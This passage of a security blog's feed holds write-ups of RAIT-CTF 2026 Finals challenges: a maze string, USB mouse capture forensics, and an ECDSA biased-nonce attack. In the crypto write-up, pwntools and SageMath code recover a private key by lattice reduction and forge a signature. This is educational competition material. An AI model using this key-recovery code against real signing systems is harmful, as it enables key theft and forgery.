&lt;p&gt;&lt;code&gt;R12 → D2 → L2 → D2 → L2 → U2 → L4 → D2 → R2 → D2 → L6 → D2 → R6 → D6 → R2 → D4 → R4 → D2 → L6 → U2 → L4 → U2 → L2 → D6 → R2 → U2 → R2 → D2 → R10 → U2 → R2 → D2 → R4 → U2 → R2 → D2&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Expanded as a single contiguous input string sent to the service:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;RRRRRRRRRRRRDDLLDDLLUULLLLDDRRDDLLLLLLDDRRRRRRDDDDDDRRDDDDRRRRDDLLLLLLUULLLLUULLDDDDDDRRUURRDDRRRRRRRRRRUURRDDRRRRUURRDD&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Carriage returns and newlines are ignored by the VM.&lt;/p&gt;
&lt;h3&gt;Step 5: Flag Retrieval&lt;a href=&quot;#step-5-flag-retrieval&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Upon reaching the goal cell, the VM executes its flag-read routine and prints the contents of &lt;code&gt;flag.txt&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;RAIT-CTF{M4ze_Runn3r_Pr0_Ed1t10n_1337}&lt;/code&gt;&lt;/p&gt;</content:encoded><category>category:Writeups</category><category>category:RAIT-CTF 2026 Finals</category><category>tag:RAIT-CTF</category><category>tag:Reverse Engineering</category></item><item><title>RAIT-CTF Finals Forensics 1 - Move It</title><link>https://shubhsec.dev/post/writeups/rait-ctf-finals-forensics-1-move-it</link><guid isPermaLink="false">writeups/rait-ctf-finals-forensics-1-move-it</guid><description>Writeup for RAIT-CTF Finals Forensics 1 - Move It from RAIT-CTF 2026 Finals.</description><pubDate>Mon, 06 Jul 2026 17:15:00 GMT</pubDate><content:encoded>&lt;h1&gt;RAIT-CTF Finals Forensics 1 - Move It&lt;a href=&quot;#rait-ctf-finals-forensics-1---move-it&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;RAIT-CTF{m0u53_m0v3m3n75_c4n_b3_tr1cky}&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;Approach (Step by Step)&lt;a href=&quot;#approach-step-by-step&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;h3&gt;1. File Inspection&lt;a href=&quot;#1-file-inspection&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;We download the &lt;code&gt;capture.pcap&lt;/code&gt; file for the challenge and open it in Wireshark.&lt;/p&gt;
&lt;h3&gt;2. Traffic Analysis&lt;a href=&quot;#2-traffic-analysis&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;We find that the logs in Wireshark show USB device logs, specifically mouse movements. We can use &lt;code&gt;tshark&lt;/code&gt; to extract this raw capture data into a CSV format.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;tshark&lt;/span&gt;&lt;span&gt; -r&lt;/span&gt;&lt;span&gt; capture.pcap&lt;/span&gt;&lt;span&gt; -Y&lt;/span&gt;&lt;span&gt; &quot;usb.transfer_type == 0x01 &amp;amp;&amp;amp; usb.endpoint_address.direction == 1&quot;&lt;/span&gt;&lt;span&gt; -T&lt;/span&gt;&lt;span&gt; fields&lt;/span&gt;&lt;span&gt; -e&lt;/span&gt;&lt;span&gt; usb.capdata&lt;/span&gt;&lt;span&gt; &amp;gt;&lt;/span&gt;&lt;span&gt; mouse_data.csv&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3. Mouse Trajectory Visualization&lt;a href=&quot;#3-mouse-trajectory-visualization&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Open the &lt;a href=&quot;https://usb-mouse-pcap-visualizer.vercel.app&quot;&gt;USB Mouse PCAP Visualizer&lt;/a&gt;.
Upload the &lt;code&gt;mouse_data.csv&lt;/code&gt; and it will start the plotting process mapping the USB mouse movements on an X/Y axis.&lt;/p&gt;
&lt;h3&gt;4. Retrieving the Flag&lt;a href=&quot;#4-retrieving-the-flag&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;After plotting completes, the drawn lines form a QR code. When we scan and decode the QR code, we get the final flag:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;RAIT-CTF{m0u53_m0v3m3n75_c4n_b3_tr1cky}&lt;/code&gt;&lt;/p&gt;</content:encoded><category>category:Writeups</category><category>category:RAIT-CTF 2026 Finals</category><category>tag:RAIT-CTF</category><category>tag:Forensics</category></item><item><title>RAIT-CTF Finals Crypto 3 - Chain of Trust</title><link>https://shubhsec.dev/post/writeups/rait-ctf-finals-crypto-3-chain-of-trust</link><guid isPermaLink="false">writeups/rait-ctf-finals-crypto-3-chain-of-trust</guid><description>Writeup for RAIT-CTF Finals Crypto 3 - Chain of Trust from RAIT-CTF 2026 Finals.</description><pubDate>Mon, 06 Jul 2026 17:15:00 GMT</pubDate><content:encoded>&lt;h1&gt;RAIT-CTF Finals Crypto 3 - Chain of Trust&lt;a href=&quot;#rait-ctf-finals-crypto-3---chain-of-trust&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;RAIT-CTF{bl0ckch41n_b14s_l34ks_pr1v4t3_k3ys}&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;Approach (Step by Step)&lt;a href=&quot;#approach-step-by-step&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;h3&gt;1. Source Code Analysis&lt;a href=&quot;#1-source-code-analysis&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;We check the source code provided to us and locate the following function:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;def&lt;/span&gt;&lt;span&gt; _get_k&lt;/span&gt;&lt;span&gt;(self, msg_hash_int):&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    h &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; hashlib.sha256(&lt;/span&gt;&lt;span&gt;self&lt;/span&gt;&lt;span&gt;.secret_seed &lt;/span&gt;&lt;span&gt;+&lt;/span&gt;&lt;span&gt; int&lt;/span&gt;&lt;span&gt;.to_bytes(msg_hash_int, &lt;/span&gt;&lt;span&gt;32&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&apos;big&apos;&lt;/span&gt;&lt;span&gt;)).digest()&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    k &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; int&lt;/span&gt;&lt;span&gt;.from_bytes(h[:&lt;/span&gt;&lt;span&gt;30&lt;/span&gt;&lt;span&gt;], &lt;/span&gt;&lt;span&gt;&apos;big&apos;&lt;/span&gt;&lt;span&gt;) &lt;/span&gt;&lt;span&gt;# &amp;lt;--- The Flaw&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    return&lt;/span&gt;&lt;span&gt; k&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We can see the nonce (&lt;code&gt;k&lt;/code&gt;) being only 30 bytes instead of the usual 32. This makes it vulnerable because the nonce is biased. We can use the Hidden Number Problem (HNP) to solve it.&lt;/p&gt;
&lt;h3&gt;2. Interaction Script&lt;a href=&quot;#2-interaction-script&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;We run a script to collect 20 signatures (&lt;code&gt;r_list&lt;/code&gt;, &lt;code&gt;s_list&lt;/code&gt;, and &lt;code&gt;z_list&lt;/code&gt; values).&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;from&lt;/span&gt;&lt;span&gt; pwn &lt;/span&gt;&lt;span&gt;import&lt;/span&gt;&lt;span&gt; *&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;import&lt;/span&gt;&lt;span&gt; hashlib&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;import&lt;/span&gt;&lt;span&gt; json&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;# Connection&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;HOST&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; &quot;34.0.14.121&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;PORT&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; 9951&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;r &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; remote(&lt;/span&gt;&lt;span&gt;HOST&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;PORT&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;# 1. Capture the current session&apos;s Public Key&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;r.recvuntil(&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;Public Key: &quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;pubkey_raw &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; r.recvline().decode().strip()&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;print&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;f&lt;/span&gt;&lt;span&gt;&quot;Targeting Session Pubkey: &lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;pubkey_raw&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;r_list &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; []&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;s_list &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; []&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;z_list &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; []&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;# 2. Collect 20 blocks&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;for&lt;/span&gt;&lt;span&gt; i &lt;/span&gt;&lt;span&gt;in&lt;/span&gt;&lt;span&gt; range&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;20&lt;/span&gt;&lt;span&gt;):&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    r.sendlineafter(&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;&amp;gt; &quot;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;1&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    r.sendlineafter(&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;Enter data string: &quot;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;f&lt;/span&gt;&lt;span&gt;&quot;attack_&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;i&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;.encode())&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    r.sendlineafter(&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;&amp;gt; &quot;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;2&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    block &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; json.loads(r.recvline().decode())&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    # Calculate z (the hash of the message signed)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    msg &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; f&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;block[&lt;/span&gt;&lt;span&gt;&apos;index&apos;&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;}{&lt;/span&gt;&lt;span&gt;block[&lt;/span&gt;&lt;span&gt;&apos;prev_hash&apos;&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;}{&lt;/span&gt;&lt;span&gt;block[&lt;/span&gt;&lt;span&gt;&apos;data&apos;&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;.encode()&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    z &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; int&lt;/span&gt;&lt;span&gt;(hashlib.sha256(msg).hexdigest(), &lt;/span&gt;&lt;span&gt;16&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    r_list.append(block[&lt;/span&gt;&lt;span&gt;&quot;r&quot;&lt;/span&gt;&lt;span&gt;])&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    s_list.append(block[&lt;/span&gt;&lt;span&gt;&quot;s&quot;&lt;/span&gt;&lt;span&gt;])&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    z_list.append(z)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    print&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;f&lt;/span&gt;&lt;span&gt;&quot;Collected &lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;i&lt;/span&gt;&lt;span&gt;+&lt;/span&gt;&lt;span&gt;1}&lt;/span&gt;&lt;span&gt;/20&quot;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;end&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;\r&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;print&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;\n&lt;/span&gt;&lt;span&gt;--- PASTE THESE INTO SAGE ---&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;print&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;f&lt;/span&gt;&lt;span&gt;&quot;r_list = &lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;r_list&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;print&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;f&lt;/span&gt;&lt;span&gt;&quot;s_list = &lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;s_list&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;print&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;f&lt;/span&gt;&lt;span&gt;&quot;z_list = &lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;z_list&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;print&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;-----------------------------&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;# 3. KEEP CONNECTION OPEN&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;# This waits for you to calculate the r/s in Sage&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;r.interactive()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3. Lattice Attack using SageMath&lt;a href=&quot;#3-lattice-attack-using-sagemath&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Using the collected parameters, we can set up a lattice and use LLL to recover the private key:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;n &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; 0x&lt;/span&gt;&lt;span&gt;FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;B &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; 2&lt;/span&gt;&lt;span&gt;^&lt;/span&gt;&lt;span&gt;240&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;m &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; len&lt;/span&gt;&lt;span&gt;(r_list)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;M &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; Matrix(&lt;/span&gt;&lt;span&gt;QQ&lt;/span&gt;&lt;span&gt;, m &lt;/span&gt;&lt;span&gt;+&lt;/span&gt;&lt;span&gt; 2&lt;/span&gt;&lt;span&gt;, m &lt;/span&gt;&lt;span&gt;+&lt;/span&gt;&lt;span&gt; 2&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;for&lt;/span&gt;&lt;span&gt; i &lt;/span&gt;&lt;span&gt;in&lt;/span&gt;&lt;span&gt; range&lt;/span&gt;&lt;span&gt;(m):&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    M[i, i] &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; n&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    M[m, i] &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; (r_list[i] &lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt; inverse_mod(s_list[i], n)) &lt;/span&gt;&lt;span&gt;%&lt;/span&gt;&lt;span&gt; n&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    M[m&lt;/span&gt;&lt;span&gt;+&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;, i] &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; ((&lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt;z_list[i]) &lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt; inverse_mod(s_list[i], n)) &lt;/span&gt;&lt;span&gt;%&lt;/span&gt;&lt;span&gt; n&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;M[m, m] &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; B &lt;/span&gt;&lt;span&gt;/&lt;/span&gt;&lt;span&gt; n&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;M[m&lt;/span&gt;&lt;span&gt;+&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;, m&lt;/span&gt;&lt;span&gt;+&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;] &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; B&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;L &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; M.LLL()&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;priv_key &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; 0&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;for&lt;/span&gt;&lt;span&gt; row &lt;/span&gt;&lt;span&gt;in&lt;/span&gt;&lt;span&gt; L:&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    potential_d &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; abs&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt;(row[m] &lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt; n &lt;/span&gt;&lt;span&gt;/&lt;/span&gt;&lt;span&gt; B))&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    if&lt;/span&gt;&lt;span&gt; potential_d &lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;span&gt; 1&lt;/span&gt;&lt;span&gt; and&lt;/span&gt;&lt;span&gt; potential_d &lt;/span&gt;&lt;span&gt;&amp;lt;&lt;/span&gt;&lt;span&gt; n:&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        priv_key &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; potential_d&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        print&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;f&lt;/span&gt;&lt;span&gt;&quot;--- RECOVERED NEW PRIVATE KEY ---&lt;/span&gt;&lt;span&gt;\n&lt;/span&gt;&lt;span&gt;d = &lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;priv_key&lt;/span&gt;&lt;span&gt;}\n&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        break&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; priv_key:&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    E &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; EllipticCurve(GF(&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;^&lt;/span&gt;&lt;span&gt;256&lt;/span&gt;&lt;span&gt; -&lt;/span&gt;&lt;span&gt; 2&lt;/span&gt;&lt;span&gt;^&lt;/span&gt;&lt;span&gt;32&lt;/span&gt;&lt;span&gt; -&lt;/span&gt;&lt;span&gt; 977&lt;/span&gt;&lt;span&gt;), [&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;7&lt;/span&gt;&lt;span&gt;])&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    G &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; E(&lt;/span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;79be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;          0x&lt;/span&gt;&lt;span&gt;483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    msg &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; b&lt;/span&gt;&lt;span&gt;&quot;GIVE ME FLAG&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    z_flag &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; int&lt;/span&gt;&lt;span&gt;(hashlib.sha256(msg).hexdigest(), &lt;/span&gt;&lt;span&gt;16&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    k_flag &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; 2&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    k_point &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; k_flag &lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt; G&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    r_flag &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; int&lt;/span&gt;&lt;span&gt;(k_point.xy()[&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;]) &lt;/span&gt;&lt;span&gt;%&lt;/span&gt;&lt;span&gt; n&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    s_flag &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; (inverse_mod(k_flag, n) &lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt; (z_flag &lt;/span&gt;&lt;span&gt;+&lt;/span&gt;&lt;span&gt; r_flag &lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt; priv_key)) &lt;/span&gt;&lt;span&gt;%&lt;/span&gt;&lt;span&gt; n&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    print&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;--- SIGNATURE FOR THIS SESSION ---&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    print&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;f&lt;/span&gt;&lt;span&gt;&quot;r: &lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;r_flag&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    print&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;f&lt;/span&gt;&lt;span&gt;&quot;s: &lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;s_flag&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;4. Retrieving the Flag&lt;a href=&quot;#4-retrieving-the-flag&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;We can now use these generated &lt;code&gt;r&lt;/code&gt; and &lt;code&gt;s&lt;/code&gt; signature values to sign the &lt;code&gt;GIVE ME FLAG&lt;/code&gt; payload. Passing this valid signature back to the service grants us the flag.&lt;/p&gt;</content:encoded><category>category:Writeups</category><category>category:RAIT-CTF 2026 Finals</category><category>tag:RAIT-CTF</category><category>tag:Crypto</category></item><item><title>RAIT-CTF Finals Reverse 2 - Employee Manager</title><link>https://shubhsec.dev/post/writeups/rait-ctf-finals-reverse-2-employee-manager</link><guid isPermaLink="false">writeups/rait-ctf-finals-reverse-2-employee-manager</guid><description>Writeup for RAIT-CTF Finals Reverse 2 - Employee Manager from RAIT-CTF 2026 Finals.</description><pubDate>Mon, 06 Jul 2026 17:15:00 GMT</pubDate><content:encoded>&lt;h1&gt;RAIT-CTF Finals Reverse 2 - Employee Manager&lt;a 